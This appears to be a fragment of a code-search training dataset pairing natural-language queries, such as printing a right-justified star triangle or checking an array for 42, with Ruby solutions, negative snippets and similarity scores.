return false unless self.attributes == other.attributes\n return false unless self.nodes == other.nodes\n true\n end", "def xml!; @xml = true; end", "def invoke_rexml\n @xdoc = nil\n @helper = RexmlHelper.new\n end", "def rexml_doc(obj)\n case obj\n when REXML::Document, REXML::Element\n obj\n else\n REXML::Document.new(obj)\n end\n end", "def same_tree_support(original_node, second_node)\n return false if ((original_node.nil? && !second_node.nil?) || (!original_node.nil? && second_node.nil?))\n return true if original_node.nil? && second_node.nil?\n original_node.value == second_node.value &&\n same_tree_support(original_node.right, second_node.right) &&\n same_tree_support(original_node.left, second_node.left)\n end", "def rexml!\n @@parser = USE_REXML\n end", "def test_truth\n assert nodes(:draft_1)\n end", "def test_content\n pers = Person::new(\"John\", \"Doe\")\n @root.content = pers\n assert_same(pers, @root.content, \"Content should be the same\")\n end" ]
[ "0.71979046", "0.70567", "0.70154643", "0.69066465", "0.6902816", "0.688589", "0.6804099", "0.6660397", "0.6615836", "0.6555921", "0.65196425", "0.636508", "0.63044393", "0.62656343", "0.6247824", "0.62137634", "0.6153384", "0.5979433", "0.59192795", "0.5901599", "0.5901475", "0.58822966", "0.58198035", "0.57282937", "0.57145447", "0.5684873", "0.5628692", "0.562529", "0.56105924", "0.5605007", "0.55696374", "0.55541325", "0.554327", "0.5518904", "0.55180204", "0.551449", "0.5509618", "0.548312", "0.54801655", "0.54690963", "0.54679596", "0.5432147", "0.5432147", "0.5416161", "0.54125774", "0.5390676", "0.538864", "0.5359553", "0.53565896", "0.5354853", "0.5337307", "0.5336917", "0.5331942", "0.53192866", "0.53130877", "0.5300689", "0.52973855", "0.5285276", "0.527768", "0.5268908", "0.5266548", "0.52534395", "0.5252178", "0.5250563", "0.52355886", "0.5234425", "0.5229488", "0.52267784", "0.52216226", "0.52185106", "0.52185106", "0.52185106", "0.5217985", "0.5217985", "0.5217985", "0.5217985", "0.5213598", "0.52072954", "0.520659", "0.51872516", "0.51832414", "0.5181499", "0.5180806", "0.5173364", "0.517083", "0.5168512", "0.51575696", "0.5153105", "0.51518303", "0.5146383", "0.5138277", "0.5135243", "0.51292795", "0.51247185", "0.51192814", "0.5116322", "0.5114049", "0.51135874", "0.5108904", "0.50893545" ]
0.72662044
0
output: a series of strings such that they form a right triangle of stars, each side equal inout integer Rules: right justified triangle hypotenuse starts on bottom left and ends on upper right Data Structures: strings Algorithm set counter to 1 begin a loop print (' ' stringlength counter) + ('' counter) increment counter by 1 end loop when counter equals integer
def triangle(integer) stars = 1 integer.times do puts " " * (integer - stars) + ("*" * stars) stars += 1 end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def triangle(length_of_sides)\n spaces = length_of_sides\n accum_num = 1\n length_of_sides.times do\n puts \"#{' ' * (spaces - accum_num)}#{'*' * accum_num}\"\n accum_num += 1\n end\nend", "def triangle(integer)\n counter = 0\n until counter > integer\n puts ('*' * counter).rjust(integer)\n counter += 1\n end\nend", "def triangle(int)\n star_chars = '*'\n int.times do\n puts star_chars.rjust(int, ' ')\n star_chars << '*'\n end\nend", "def triangle(length_of_sides)\n spaces = length_of_sides\n accum_num = length_of_sides\n length_of_sides.times do\n puts \"#{' ' * (spaces - accum_num)}#{'*' * accum_num}\"\n accum_num -= 1\n end\nend", "def triangle(integer)\n counter = integer\n until counter < 0\n puts ('*' * counter).ljust(integer)\n counter -= 1\n end\nend", "def triangle(num)\n star_count = 0\n while star_count < num\n star_count += 1\n stars = \"*\" * star_count\n puts stars.rjust(num)\n end\nend", "def triangle(num)\n count = 1\n while count <= num do\n stars = \"*\" * count\n puts \"#{(stars.rjust(num))}\"\n count += 1\n end\nend", "def triangle(int)\n for i in (0..int)\n puts (\"*\"*i).rjust(int) \n end\nend", "def triangles(n)\n space_count = n\n star_count = 1\n\n while star_count <= n\n puts \"#{' ' * space_count}#{'*' * star_count}\"\n space_count -= 1\n star_count += 1\n end\nend", "def letra_z(n)\n result = \"\"\n t = n-1\n n.times do |i| \n if i == 0 || i == n-1\n n.times {result += \"*\"} \n else \n n.times do |b| \n if t == b\n result += \"*\"\n else\n result += \" \"\n end\n end\n end \n t -= 1 \n result += \"\\n\" \n end \n result\nend", "def letra_x(n)\n result = \"\" \n t = n-1\n (n).times do |i| \n n.times do |b| \n if t == b \n result += \"*\"\n elsif i == b\n result += \"*\"\n else\n result += \" \"\n end\n end \n t -= 1 \n result += \"\\n\"\n end\n result\nend", "def star(num)\n star_number = 3\n star = '*'\n space = ' '\n counter = (num - star_number) / 2\n iterations = num / 2\n\n # upper triangle\n iterations.times do |i|\n line = \"#{space * i}#{star}#{space * counter}#{star}#{space * counter}#{star}\"\n puts line\n counter -= 1\n end\n\n # mid\n puts star * num\n\n # lower triangle\n counter = (num - star_number) / 2\n iterations.times do |i|\n line = \"#{space * counter}#{star}#{space * i}#{star}#{space * i}#{star}\"\n puts line\n counter -= 1\n end\nend", "def letra_i(n)\n result = \"\"\n n.times do |i|\n if i == 0 || i == n-1\n n.times {result += \"*\"} \n else\n n.times do |b|\n if (n-1)/2 == b\n result += \"*\"\n else\n result += \" \"\n end\n end\n end \n result += \"\\n\" \n end \n result\nend", "def triangle(num)\n 1.upto(num) { |n| puts \"#{\"*\" * n}\".rjust(num) }\nend", "def triangle(rows)\n 1.upto(rows) { |num| puts \"#{\"*\" * num}\".rjust(rows)}\nend", "def upside_down_triangle(n)\n triangle = []\n stars = n\n spaces = 0\n\n n.times do\n triangle << (' ' * spaces) + ('*' * stars)\n stars -= 1\n spaces += 1\n end\n\n triangle.each { |line| puts line }\nend", "def triangle(n)\n stars = 1\n spaces = n-1\n n.times do |_|\n puts ( \" \" * spaces) + (\"*\" * stars)\n stars += 1\n spaces -= 1\n end\nend", "def print_triangle(rows)\n n = 1\n while n <= rows\n n += 1\n x = 1\n while x < n\t\n \tprint \"*\"\n \tx += 1\n end\n puts ' '\n end \nend", "def tl_triangle(n)\n stars = n\n n.times do\n puts '*' * stars\n stars -= 1\n end\nend", "def triangle(n)\n n.times{ |i| puts \"#{' ' * (n-i+1)}#{'*' * (i+1)}\" }\nend", "def triangle(num)\n spaces = num - 1\n stars = 1\n\n num.times do |n|\n puts (' ' * spaces) + ('*' * stars)\n spaces -= 1\n stars += 1\n end\nend", "def triangle(num)\n spaces = num - 1\n stars = 1\n\n num.times do |n|\n puts (' ' * spaces) + ('*' * stars)\n spaces -= 1\n stars += 1\n end\n\nend", "def triangle(n)\n 1.upto(n){ |i| p \"#{' ' * (n-i)}#{ '*' * i }\" }\nend", "def triangle(n)\n triangle = (1..n).inject('') do |memo, current_num|\n stars = '*' * current_num\n line = stars.rjust(n) + \"\\n\"\n memo + line\n end\n puts \"\\n\" + triangle + \"\\n\"\nend", "def triangle(n)\n counter = 1\n\n loop do\n puts \"#{' ' * (n-counter)}#{'*' * counter}\"\n counter += 1\n break if counter > n\n end\nend", "def staircase(n)\n n.times do |i|\n (n-1-i).times { |i| print ' '}\n (i+1).times { |i| print '#'}\n puts\n end\nend", "def triangle(n)\n arr = []\n space = (n - 1)\n star = 1\n \n until n == 0 do\n (space).times do\n arr.push(\" \")\n end\n (star).times do \n arr.push(\"*\")\n end\n puts arr.join\n arr.clear\n space -= 1\n star += 1\n n -= 1\n end\nend", "def triangle(num)\n stars = []\n spaces = ''\n number_of_stars = (3..num).to_a.reverse\n current_num = num\n\n loop do\n spaces += ' '\n stars << spaces + (\"*\" * current_num)\n break if current_num == 1\n current_num -= 2\n end\n\n stars.reverse\nend", "def ne(length_of_sides)\n spaces = length_of_sides\n accum_num = length_of_sides\n length_of_sides.times do\n puts \"#{' ' * (spaces - accum_num)}#{'*' * accum_num}\"\n accum_num -= 1\n end\nend", "def triangle(num)\n space = ' '\n star = '*'\n (num + 1).times do |time|\n puts space * (num - time) + (star * time)\n end\nend", "def triangle(number)\n number_of_spaces = number - 1\n number.times do\n puts (' ' * number_of_spaces) + ('*' * (number - number_of_spaces))\n number_of_spaces -= 1\n end\nend", "def diamond(integer)\n spaces = (1..integer).step(2).to_a\n space_line = spaces.reverse\n spaces.shift\n space_line += spaces\n space_line.map! {|num| num / 2}\n\n stars = (1..integer).step(2).to_a\n star_line = stars.reverse\n star_line.shift\n star_line = stars + star_line\n\n counter = 0\n star_line.each do |element|\n line = (\"*\" * element)\n spaces = line.length + space_line[counter]\n full_line = line.rjust(spaces) + (\" \" * space_line[counter])\n puts full_line\n counter += 1\n end\nend", "def triangle(n)\n\tstar = \"*\"\n\tspace = \" \"\n\tcounter = 0\n\tloop do\n\t\tcounter += 1\n\t\tputs (space * (n - counter)) + (star * (n - (n - counter)))\n\t\tbreak if counter == n\n\tend\nend", "def triangle(num)\n num.times { |a| p (' ' * (num - a)) + ('*' * (a + 1)) }\nend", "def print_triangle(rows)\n 1.upto(rows) do |i|\n puts \"*\" * i\n end\nend", "def triangle(n)\n n.downto(1) do |i|\n puts \"#{'*' * i}#{' ' * (n-i)}\"\n end\nend", "def pyramid\r\n upper_level = \"1\"\r\n triangle = [upper_level]\r\n 40.times do\r\n triangle << upper_level = lower_level(upper_level)\r\n end\r\n triangle\r\nend", "def navidad(n)\n result = \"\"\n n.times do |ind| \n i = ind + 1 \n (n-i).times do \n result += \" \"\n end\n i.times do\n result += \"* \" \n end\n result += \"\\n\" \n end\n \n 3.times do |i|\n if i != 2\n n.times do |b|\n if (n+1)/2 == b+1\n result += \"* \"\n else\n result += \" \"\n end \n end\n result += \"\\n\"\n else\n n.times do |b| \n if ((n+1)/2)-2 == b || ((n+1)/2)-1 == b || (n+1)/2 == b\n result += \"* \"\n else\n result += \" \"\n end \n end\n end\n end \n result\nend", "def stairs(n)\n\ttext_to_print = \"\"\n\tn.times do |line|\n\t\ttext_to_print += (\" \" * (n-1)) + (\"*\" * (n-(n-1))) \n\t\ttext_to_print << \"\\n\"\n\t\tn -= 1\n\tend\n\ttext_to_print.split(\"\\n\").each{|line| puts line}\nend", "def diamonds(int)\n counter = 1\n until counter == int\n space_string = ((int - counter) / 2)\n puts \"#{' ' * space_string}#{'*' * counter}#{' ' * space_string}\"\n counter += 2\n end\n puts \"#{'*' * counter}\"\n until counter == 1\n counter -= 2\n space_string = ((int - counter) / 2)\n puts \"#{' ' * space_string}#{'*' * counter}#{' ' * space_string}\"\n end\nend", "def triangle(num)\n spaces = num - 1\n stars = 1\n \n loop do\n puts \" \"*spaces + \"*\"*stars\n break if stars == num\n spaces -= 1\n stars += 1\n end\nend", "def triangle(n)\n count = 1\n loop do\n p (' ' * (n - count)) + ('*' * count)\n count += 1\n break if count > n\n end\nend", "def print_horizontal_pyramid(height)\n n = 1\n h = height\n (1..height).each do |i|\n space = \" \"\n star = \"*\"\n print space * h + star * n\n n = n+2\n h = h-1\n print \"\\n\"\n end\nend", "def triangle(n)\n space = \" \"\n star = \"*\"\n star_count = 1\n\n while n > 0 do\n p (space * (n-1)) + (star * star_count)\n n -= 1\n star_count += 1\n end\nend", "def print_horizontal_pyramid(height)\n\n (1..height).each do |i|\n spaces = height - i\n stars = (2 * i) - 1\n\n spaces.times { print \" \"}\n stars.times { print \"*\"}\n spaces.times { print \" \"}\n print \"\\n\"\nend\nend", "def triangle(n)\n (1..n).each { |row| puts ' ' * (n - row) + '*' * row }\nend", "def pseudoIsomorphicSubstrings(s)\n\n size = 1 # this show the current size of the set i\n graph = { 0 => {} } # representation of the set sequences\n sizes = []\n\n string_size = s.size\n matrix = []\n\n s_chars = s.chars\n \n s.size.times do |pi| # Si' : Prefix i\n matrix << []\n\n i = 0\n while i <= pi do\n matrix[pi] << s_chars[i..pi].join.ljust(string_size)\n i += 1\n end\n\n matrix[pi] = matrix[pi].join(' | ')\n end\n\n puts matrix\n\n sizes\nend", "def staircase\n puts \" \"\n puts \"Here is a staircase:\"\n puts \" \"\n puts \"You are at step 0.\" \n puts \" \"\n puts \"Throw a dice to move up or down the stairs.\"\n puts \" \"\n puts \"If dice is 1, you go back 1 step.\"\n puts \" \"\n puts \"If dice is 2, 3 or 4, you stay put.\"\n puts \" \"\n puts \"If dice is 5 or 6, you go forward 1 step.\"\n puts \" \"\n puts \" **************************\"\n puts \" \"\n \n i = 1\n str = \" \"\n str2 = \"#\"\n while i <= 10 \n print str * (10 - i) \n puts str2 * i \n i += 1\n end\nend", "def make_rectangle sentence\n arr = sentence.split\n max_length = arr.max_by(&:length).length\n\n puts \"*\" * (max_length + 4)\n arr.each do |word|\n diff = max_length - word.length\n print \"* \"\n print word\n print \" \" * diff\n puts \" *\"\n end\n puts \"*\" * (max_length + 4)\nend", "def print_horizontal_pyramid(height)\ni=1\nk=height\nt=height\n\ni.upto(k) do\n t.times do\n print ' '\n end\n\n (2 * i - 1).times do\n print '*'\n end\n\n print \"\\n\"\n\n t -= 1\n i += 1\nend\nend", "def triangle(reps)\n (0...reps).each do |x|\n puts \"*\" * (2 ** x)\n end\nend", "def triangle(num)\n spaces = num - 1\n count = 1\n loop do\n puts \" \" * spaces + \"*\" * count\n spaces -= 1\n count += 1\n break if count == num + 1\n end\nend", "def print_in_box(str)\n str_length = str.length\n puts first_horizontal_line = \"+ #{\"-\" * str_length} +\"\n puts second_horizontal_line = \"| #{\" \" * str_length} |\"\n puts third_horizontal_line = \"| #{str} |\"\n puts fourth_horizontal_line = \"| #{\" \" * str_length} |\"\n puts fifth_horizontal_line = \"+ #{\"-\" * str_length} +\"\nend", "def staircase(n)\n i = 1\n spaces = \" \"\n destination = Array.new\n n.times do\n destination << (\" \" * (n-i)) + (\"#\" * (i))\n puts destination\n i = i + 1\n destination = []\n end\nend", "def staircase(n)\n for i in 1..n do\n puts (\"#\" * i).rjust(n)\n end\n\nend", "def print_stairs n, str\n\ts = str;\n\tn.times {|n| puts s; s += str}\nend", "def triangle(number)\n 1.upto(number) do |num| \n puts (\" \" * num) + (\"*\" * number)\n number -= 1\n end\nend", "def staircase(height)\n\t(1..height).each do |i|\n \t(1..height-i).each do |j|\n \t\tprint(\" \") \n \tend\n \t(1..i).each do |k|\n \tif k == i then\n \tputs(\"#\")\n \telse\n \tprint(\"#\")\n \tend\n \tend\n\tend\nend", "def star(n)\n outer = 0\n inner = (n-3) / 2\n\n loop do # create top\n puts \"#{\" \" * outer}*#{\" \" * inner}*#{\" \" * inner}*#{\" \" * outer}\"\n break if inner == 0\n outer += 1\n inner -= 1\n end\n\n puts \"*\" * n\n\n loop do # create bottom\n puts \"#{\" \" * outer}*#{\" \" * inner}*#{\" \" * inner}*#{\" \" * outer}\"\n break if outer == 0\n outer -= 1\n inner += 1\n end\n puts \"\"\nend", "def show\n length = @last_number.to_s.length + 1\n @spiral.each do |row|\n puts \"\\n\"\n puts row.map { |element| element.nil? ? \" \" * length : element.to_s.rjust(length, \" \") }.join(\" \")\n end\n end", "def print_combinations(str)\n return if !str || str.length == 0\n str_length = str.length\n char_count = 1\n while char_count <= str_length\n start_index = 0\n print_current(start_index, char_count, str, str_length)\n char_count += 1\n end\n return\nend", "def diamond(n)\n s = \"\"\n odd_array = (1..n).select{|num| num.odd?}\n odd_array = odd_array + odd_array.reverse[1..-1]#1,3,5,7,9,7,5,3,1\n (0...n).each do |i| #0,1,2,3,4,5,6,7,8\n empty_spaces = n/2\n odd_array[i].times do |j|#1,3,5,7,9,7,5,3,1\n s = (\" \" * (empty_spaces-i).abs) + (\"*\" * (j+1)) + (\" \" * (empty_spaces-i).abs)\n end\n p s\n s=\"\"\n end\nend", "def triangle(n)\n line = 0\n loop do\n puts ' ' * (n - line) + ('*' * line)\n break if line == n\n line += 1\n end\nend", "def staircase(n)\n i = 1\n while i <= n\n puts \" \" * (n - i) + \"#\" * i\n i += 1 \n end\nend", "def print_in_box(string)\n horizontal_rule = \"+#{'-' * (string.length + 2)}+\"\n empty_line = \"|#{' ' * (string.length + 2)}|\"\n puts horizontal_rule\n puts empty_line\n puts \"| #{string} |\"\n puts empty_line\n puts horizontal_rule\nend", "def zic_zac(s,z)\n\tfor i in 1..s\n\t\tfor j in 1..(z*(s-1)+1)\n\t\t\tif i==1 && j%(2*(s-1)) == s%(2*(s-1))\n\t\t\t\tprint \"*\"\n\t\t\t\tif j==z*(s-1)+1\n\t\t\t\t\tprint \"\\n\"\n\t\t\t\tend\n\t\t\telsif i==s && j%(2*(s-1)) == 1\n\t\t\t\tprint \"*\"\n\t\t\t\tif j==z*(s-1)+1\n\t\t\t\t\tprint \"\\n\"\n\t\t\t\tend\t\t\t\t\n\t\t\telsif j%(2*(s-1))==(s-(i-1))%(2*(s-1)) || j%(2*(s-1))==(s+(i-1))%(2*(s-1))\n\t\t\t\tprint \"*\"\n\t\t\telse\n\t\t\t\tprint \" \"\n\t\t\t\tif j==z*(s-1)+1\n\t\t\t\t\tprint \"\\n\"\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\nend", "def display_upper_semi_diamond(n)\n left_outline = n / 2\n right_outline = left_outline\n\n (n / 2).times do\n row = ' ' * n\n row[left_outline] = '*'\n row[right_outline] = '*'\n\n puts row\n left_outline -= 1\n right_outline += 1\n end\nend", "def print_in_box(str)\n sub_strings = sub_strings(str, 76)\n largest_sub_string = sub_strings.max_by { |str| str.size } # A bug caused by the fact\n # That an array may be \n # empty.\n size = largest_sub_string ? largest_sub_string.size : 0\n \n border_line = '+-' + ('-' * size) + '-+'\n empty_line = '| ' + (' ' * size) + ' |'\n \n puts border_line\n puts empty_line\n sub_strings.each do |str|\n puts '| ' + str.ljust(size) + ' |'\n end\n puts empty_line\n puts border_line\nend", "def draw\n puts \"* \" * @side_length\n (@side_length-2).times do # times loop will do something X number of times\n print \"*\"+(\" \"*(@side_length*2-3))+\"*\\n\"\n end\n puts \"* \" * @side_length\n end", "def draw_ascii(pattern, width)\n for i in 0...(pattern.size-width+1)\n puts pattern.slice(i, width).join\n end\nend", "def diamond(number)\n \n empty_space = \" \" \n star = \"*\"\n \n counter_star = 1 \n counter_space = number/2\n until counter_star == number \n puts \"#{empty_space * counter_space}\" + \"#{star * counter_star}\"\n counter_star += 2\n counter_space -= 1 \n end\n \n \n while counter_star >= 1\n puts \"#{empty_space * counter_space}\" + \"#{star * counter_star}\"\n counter_star -= 2\n counter_space += 1\n end\n \nend", "def star(n)\n num_spaces = (n - 2) / 2\n arr = []\n until num_spaces < 0\n arr.push \"*#{' ' * num_spaces}*#{' ' * num_spaces}*\"\n num_spaces -= 1\n end \n arr += arr.reverse\n arr.insert(n / 2, \"*\" * n)\n arr.each { |x| puts x.center(n) }\nend", "def diamond(num)\n puts \"this is a #{num} diamond!\\n\\n\"\n star_count = 1\n half_point = (num.to_f/2).floor\n 0.upto(num-1) {|n|\n if n < half_point \n puts \"#{' ' * (half_point - n)}#{'*' * star_count}\"\n star_count += 2\n elsif n == half_point\n puts \"#{'*' * star_count}\"\n star_count -= 2\n elsif n > half_point\n puts \"#{' ' * (n - half_point)}#{'*' * star_count}\"\n star_count -= 2\n end\n }\n \n \" \"\nend", "def diamond(i) # I hope I didn't name my variables\n spaces_toggle = -1 # the same as the instruction\n spaces = i/2 # This is MY algorithm !\n bling_toggle = 1\n bling = 1\n (i).times do\n spaces.times {print \" \"} \n bling.times {print \"*\"}\n spaces.times {print \" \"} \n print \"\\n\"\n spaces += 1 * spaces_toggle\n bling += 2 * bling_toggle\n if bling == i # Center of function\n bling.times {print \"*\"}\n print \"\\n\"\n spaces += 1\n bling -= 2\n spaces_toggle = 1\n bling_toggle = -1\n end\n end\nend", "def star(num)\n return puts \"number should be odd and greater than 5\" if num.even? || num < 7\n lines = (num/2).times.with_object([]) do |idx, arr|\n arr << (['*'] * 3).join(' ' * idx).center(num)\n end\n puts lines.reverse, ('*' * num), lines\nend", "def repeater(string)\n string = string.split(\" \")\n\n string.map do |word|\n word = word.split('')\n word.map {|letter| letter * 2}.join('')\n end.join(' ')\nend", "def star(n)\n x = (n - 3)/2\n loop do\n puts \"*#{' ' * x}*#{' ' * x}*\".center(n)\n x -= 1\n break if x < 0\n end\n puts \"#{'*' * n}\"\n y = 0\n loop do\n puts \"*#{' ' * y}*#{' ' * y}*\".center(n)\n y += 1\n break if y > (n - 3) / 2\n end\nend", "def staircase(n)\r\n # Write your code here\r\n empty = \" \"\r\n value = \"#\"\r\n n.times do |num|\r\n \tnumber = num + 1\r\n first = empty*(n-number).abs\r\n second = value*number\r\n puts first+second\r\n end\r\nend", "def equal_spaced_output\n\n\t\tputs \"Type an integer to set column spacing\"\n\t\tspacing = gets.chomp.to_i\n\t\tlargest_word = find_largest_word\n\n\t\tspacing += largest_word.length\n\n\t\tcounter = 0\n\t\t@stringArray.each do |x|\n\n\t\t\tfinished = nil\t\t\t\n\n\t\t\tloop do \n\n\t\t\t\tlength = x.length\n\n\n\t\t\t\tif length <= spacing\n\t\t\t\t\tx << ' '\n\t\t\t\telse\n\t\t\t\t\tx << '|'\n\t\t\t\t\tbreak\n\t\t\t\tend\n\n\n\t\t\tend\n\n\t\t\tputs x\n\n\t\tend #end string each\n\n\n\tend", "def diamond_outline(num)\n puts ''\n outer_spacer = num / 2\n inner_spacer = 0\n lines = 0\n while lines < num / 2\n if outer_spacer == num / 2\n puts ' ' * outer_spacer + '*'\n inner_spacer += 1\n else\n unless outer_spacer < 0\n puts ' ' * outer_spacer + '*' + ' ' * inner_spacer + '*'\n inner_spacer += 2\n end\n end\n outer_spacer -= 1\n lines += 1\n end\n while lines < num\n if outer_spacer < num / 2\n puts ' ' * outer_spacer + '*' + ' ' * inner_spacer + '*'\n inner_spacer -= 2\n else\n puts ' ' * outer_spacer + '*'\n inner_spacer -= 1\n end\n outer_spacer += 1\n lines += 1\n end\n puts ''\nend", "def tower_builder(n)\n (1..n)\n .map { |i| ' ' * (n - i) + '*' * (i + i - 1) + ' ' * (n - i) }\nend", "def staircase(n)\n spaces=0\n arr = Array.new(n) { |i| Array.new(n) { |j| (i >= j) ? '#' : ' ' } }\n print_matrix(arr.map(&:reverse), spaces)\nend", "def print_in_box(str)\n width = str.length + 2\n \n puts \"+#{'-'*width}+\"\n puts \"|#{' '*width}|\"\n puts \"| #{str} |\"\n puts \"|#{' '*width}|\"\n puts \"+#{'-'*width}+\"\nend", "def times_table(rows)\n n = 0\n rw = rows - 1\n while n <= rw\n \tn += 1\n \ty = 1\n while y <= rows\n print y*n\n print ' '\n y+=1\n end\n puts ''\n end\nend", "def ct(t,w) u=t.length;r=w-(l=w/2-u/2)-u;' '*l+t+' '*r end", "def print_horizontal_pyramid(height)\n num_spaces = height - 1 #keeps track of the number of spaces to print before\n # each row of the pyramid\n num_asterisks = 1 #keeps track of the number of asterisks to print\n\n (1..height).each do |i| #prints each row of the pyramid\n print \" \" * num_spaces\n print \"*\" * num_asterisks\n\n print \"\\n\"\n num_spaces -= 1 #adjusts the number of spaces and asterisks\n num_asterisks += 2 # for the next row of the pyramid\n end\nend", "def to_s\n s = \"#{count}d#{sides}\"\n s << \"%+d\" % increment if increment != 0\n s << \"*%d\" % multiplier if multiplier != 1\n s\n end", "def print_result(w)\nputs \"\\n\" if @debug == true\nputs \"\\n\" if @debug == true\n\tn = w.count\n\tfor i in Range.new(0, n-1)\n\t\tprint \"+\" if i > 0 && w[i] > 0 && w[i-1] != 0\n\t\tprint \"#{w[i]}*\" unless w[i] == 0 || w[i] == 1 || w[i] == -1\n\t\tprint \"-\" if w[i] == -1\n\t\tprint \"x^#{i}\" unless w[i] == 0\n\tend\nend", "def print_in_box(string)\r\n print \"+\" + (\"-\" * (string.length + 4)) + \"+\" + \"\\n\"\r\n print \"|\" + (\" \" * (string.length + 4)) + \"|\" + \"\\n\"\r\n print \"|\" + (\" \" * (string.length + 4)) + \"|\" + \"\\n\"\r\n print \"|\" + (\" \" * 2) + string + (\" \" * 2) + \"|\" + \"\\n\"\r\n print \"|\" + (\" \" * (string.length + 4)) + \"|\" + \"\\n\"\r\n print \"|\" + (\" \" * (string.length + 4)) + \"|\" + \"\\n\"\r\n print \"+\" + (\"-\" * (string.length + 4)) + \"+\" + \"\\n\"\r\nend", "def patron_cero(n)\n n.times do |i|\n n.times do |j|\n if i == 0 || i == n - 1 || j == 0 || j == n - 1 || i == j\n print \"*\"\n else\n print \" \"\n end\n end\n print \"\\n\"\n end\nend", "def diamond_enum_sol(n, full:true)\n step_one_to_n_to_one(n).each do |i|\n line = full || i == 1 ? '*' * i : '*' +' ' * (i - 2) + '*'\n puts line.center(n)\n end\nend", "def genStr strLen\nsortedAlphabet = @alphabet.sort\nresultStrs = [ ]\ntestStrings = [ ]\ntestStrings[0] = []\ntestStrings[0].push \"\"\n1.upto(strLen.to_i) { |x|\ntestStrings[x] = []\ntestStrings[x-1].each { |s|\nsortedAlphabet.each { |c|\ntestStrings[x].push s+c\n}\n}\n}\ntestStrings.flatten.each { |s|\nresultStrs.push s if accept? s, @start\n}\nresult = \"\"\nresultStrs.each { |x| result.concat '\"'+x+'\" ' }\nresult\nend", "def build_lcs_length_table(str1, str2)\n p str1\n p str2\n lcs_length_table = []\n directional_table = nil\n #in both of the table the the first dimansion representing str2 and the second demansion representing str1\n (0..str2.size).each do |i|\n lcs_length_table[i] = [0]\n end\n \n (0..str1.size).each do |j|\n lcs_length_table[0][j] = 0\n end\n \n directional_table = deep_copy(lcs_length_table)\n\n (1..str2.size).each do |j|\n (1..str1.size).each do |i|\n devired_val = [ lcs_length_table[ j - 1 ][i], lcs_length_table[ j][ i -1 ]].max\n #determind the direction of the devired_val\n if lcs_length_table[ j - 1 ][i] == devired_val #prefre go up first when the two values are the same\n devired_from = \"^\"\n else\n devired_from = \"<\"\n end\n #puts \"#{\"\"<<str2[j - 1] } #{\"\"<<str1[i - 1]} #{j-1} #{i-1}\"\n if str2[j - 1] == str1[i - 1]\n lcs_length_table[j][i] = lcs_length_table[j-1][i-1] + 1\n directional_table[j][i] = \"=\"\n else\n lcs_length_table[j][i] = devired_val\n directional_table[j][i] = devired_from\n end\n end\n end\n\n\n lcs_length_table.each do |row|\n p row\n end\n\n directional_table.each do |row|\n p row\n end\n \n p get_common_sequence_from_directional_table(directional_table, str1.size, str2.size, str2)\n\n return lcs_length_table\nend", "def pattern(n)\n str = \"\"\n for i in 1..n do\n \n i.times do\n str += i.to_s\n # str += \"#{i}\"\n end\n str += \"\\n\"\n end\n \n puts str\nend", "def star(n)\r\n padding_number = 0\r\n space_number = (n - 3) / 2\r\n \r\n 1.upto(n) do |row_number|\r\n central_row_number = (n / 2) + 1\r\n left_padding = ' ' * padding_number\r\n spaces = ' ' * space_number\r\n row = left_padding + (('*' + spaces) * 2) + '*'\r\n \r\n if row_number < central_row_number\r\n puts row\r\n next if row_number == central_row_number - 1\r\n padding_number += 1 \r\n space_number -= 1\r\n elsif row_number == central_row_number\r\n puts '*' * n\r\n else\r\n puts row\r\n padding_number -= 1\r\n space_number += 1\r\n end\r\n end\r\nend", "def diamond(n)\n blanks = ' ' * ((n - 1) / 2)\n stars = '*'\n \n loop do\n puts blanks + stars\n break if blanks == ''\n stars << '**'\n blanks.slice!(0)\n end\n \n loop do\n break if stars == '*'\n stars.slice!(0..1)\n blanks << ' '\n puts blanks + stars\n end\n \nend", "def pyramid(height)\n level = 1\n height.times do\n puts \" \"*(height-level) + \"#\"*level + \" \"*2 + \"#\"*level\n level += 1\n end \n \nend", "def draw\n\n puts \"*\" * @side_len\n @side_len.times do\n\n print \"*\" + ( \" \" * ( @side_len - 2) ) + \"* \\n\"\n\n end\n\n puts \"*\" * @side_len\n end", "def triangle(num, vert_axe, orr_axe)\n if vert_axe == \"up\"\n counter = num\n num.times do\n case orr_axe\n when 'right' then puts (\"*\" * (counter)).rjust(num)\n when 'left' then puts (\"*\" * (counter)).ljust(num)\n else puts \"The orrizontal parameter is wrong!\"\n end\n counter -= 1\n end\n elsif vert_axe == \"down\"\n num.times do |index|\n case orr_axe\n when 'right' then puts (\"*\" * (index + 1)).rjust(num)\n when 'left' then puts (\"*\" * (index + 1)).ljust(num)\n else puts \"The orrizontal parameter is wrong!\"\n end\n end\n end\nend", "def pyramid(n)\n count = 1\n n.times do\n puts (\" \" * (n - count)) + (\"#\" * count)\n count += 1\n end\nend" ]
[ "0.74768376", "0.74747294", "0.74675643", "0.74605733", "0.73616916", "0.7322541", "0.7318031", "0.726027", "0.7247343", "0.7150364", "0.7062362", "0.7028297", "0.69837177", "0.6948676", "0.68628955", "0.6858543", "0.68412024", "0.68130696", "0.67976534", "0.67894334", "0.6786699", "0.6760736", "0.6750324", "0.6749158", "0.6720647", "0.663183", "0.66199744", "0.66199183", "0.6616442", "0.66025263", "0.6594558", "0.6591311", "0.65810674", "0.6558913", "0.6528814", "0.651873", "0.6518286", "0.64994526", "0.6496273", "0.64807445", "0.64724624", "0.64418656", "0.64335155", "0.64332587", "0.64245594", "0.64117646", "0.6390461", "0.6390249", "0.6383453", "0.6366361", "0.63537085", "0.6348042", "0.6329538", "0.63004005", "0.62934744", "0.62708986", "0.6269348", "0.62677324", "0.6258704", "0.6223485", "0.62222946", "0.6180985", "0.6176045", "0.6172229", "0.61538", "0.61379814", "0.6128979", "0.61217725", "0.6105914", "0.6104491", "0.60915047", "0.60866916", "0.6077574", "0.60764", "0.6075188", "0.6066416", "0.6062453", "0.60583806", "0.6053045", "0.60388064", "0.6036847", "0.60346925", "0.6033165", "0.6019657", "0.5993921", "0.5991335", "0.5988805", "0.5987817", "0.597219", "0.5965005", "0.59632134", "0.5951991", "0.5942892", "0.59381634", "0.5936681", "0.59365845", "0.59284794", "0.59254086", "0.5915895", "0.5906144" ]
0.70631015
10
definition d'une methode qui affichera vraie si le nombre 42 existe dans un tableau
def array_42(a) a.any?{|x| x == 42} end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
